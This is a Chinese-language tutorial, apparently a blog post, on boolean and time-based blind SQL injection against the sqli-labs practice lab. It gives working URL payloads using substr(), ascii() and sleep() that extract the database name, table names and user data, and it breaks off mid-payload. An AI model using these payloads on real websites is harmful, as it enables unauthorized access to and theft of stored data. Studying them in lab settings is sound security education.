目录
目录
盲注分为:布尔盲注、时间盲注
一、布尔盲注
相较于显错注入,反应会更隐晦,比如当执行的恶意语句条件为False时(如and 1=2),页面会变得异常,如页面突然没了数据,当条件为True时,页面又会恢复正常。并不会看到像显错注入那样明显的语句回显,这样的注入,通过条件猜测数据库的内容
关键函数:lentgh()
ascii()
substr()
布尔盲注的做法
- 使用 length()函数 判断查询结果的长度
- 使用 substr()函数 截取每一个字符,并穷举出字符内容
我们这里用sqli-labs-master靶场的第五关来测试
1.判断库名的长度
payload:
?id=1' and length(database())>8--+
结果:
回显为空说明判断错误
payload:
?id=1' and length(database())=8--+
结果:
存在正确回显说明判断正确,数据库名长度为8
2.判断数据库名
2.1判断数据库名首字符
payload:
?id=1' and ascii(substr(database(),1,1))=115--+
#通过substr函数截取数据库的第一个字符并判断其ascii码是否为115(字母 s)
结果:
2.2 判断数据库名的其余字符
?id=1' and ascii(substr(database(),2,1))=101--+
其余操作相同故不再赘述。最后得到表名:security
同理可爆出表名和数据
?id=1' and if(ascii(substr(user(),1,1))=114--+
#(substr(user(),1,1):截取user函数的第一个字符。(114为r)
一般这种情况下储存的就是root权限内容
二、时间盲注:
适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否为数据库数据。
关键函数:if() lentgh()
ascii()
substr() sleep()
我们这里用sqli-labs-master靶场的第九关来测试
1.判断库名的长度
payload:
?id=1' and if(length(database())>8,sleep(3),0)--+
结果:
页面未进行3秒延迟响应,证明所请求的数据为假。
payload:
?id=1' and if(length(database())=8,sleep(3),0)--+
结果:
这里请求延迟了3秒,证明请求的数据为真。
2.判断库名:
payload:
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+
结果:
延迟3秒证明数据库名的第一个字符为“s”
payload:
?id=1' and if(ascii(substr(database(),2,1))=101,sleep(3),0)--+
延迟3秒证明数据库名的第二个字符为“e”
由上可知数据库名的长度为8,经过8次检测数据库的名字为:“security”
3.判断表名
payload:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit x,y),z,d))=e,sleep(1),0)–-+
# x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位, e:字符对应的ascii码的长度。
例:爆出security数据库下第一个表的第一个字符
payload:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(3),0)--+
结果:
延时成功,第一个表的第一个字符为e,经查第一个表名为:emails
爆出security数据库下第四个表的第一个字符
payload:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0)--+
结果:
这里延迟注入成功,第四个表的第一个字符为u,经查证第四个表的表名为users,此表就是我们要找的用户表。
注意这里爆出表名时最好使用 information_schema.tables 爆出表明,不要使用 information_schema.columns 表爆出表名原因:
使用 information_schema.columns 查询表名时会出现重复表名, information_schema.tables 爆出表明只会出现单一的表名。
4.爆出列名
payload:
?id=1&